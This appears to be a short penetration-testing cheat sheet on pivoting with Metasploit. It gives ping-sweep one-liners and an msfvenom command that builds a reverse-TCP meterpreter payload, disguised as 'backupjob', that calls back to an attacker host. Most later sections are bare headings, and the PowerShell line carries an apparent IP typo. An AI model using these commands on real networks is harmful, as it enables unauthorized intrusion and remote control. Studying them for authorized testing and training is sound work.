Pivoting Metasploit

Host Enumeration

Ping Sweep

meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

[*] Performing ping sweep for IP range 172.16.5.0/23

Ping Sweep For Loop on Linux Pivot Hosts

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

Ping Sweep For Loop Using CMD

for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

Ping Sweep Using PowerShell

1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}

Creating Payload for Ubuntu Pivot Host

[!bash!]$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjob

Configuring & Starting the multi/handler

Executing the Payload on the Pivot Host

Meterpreter Tunneling & Port Forwarding

Configuring MSF's SOCKS Proxy

Confirming Proxy Server is Running

Adding a Line to proxychains.conf if Needed

Creating Routes with AutoRoute

Listing Active Routes with AutoRoute

Testing Proxy & Routing Functionality

Port Forwarding

Portfwd options

Creating Local TCP Relay

Connecting to Windows Target through localhost

Netstat Output

Meterpreter Reverse Port Forwarding

Reverse Port Forwarding Rules

Configuring & Starting multi/handler

Last updated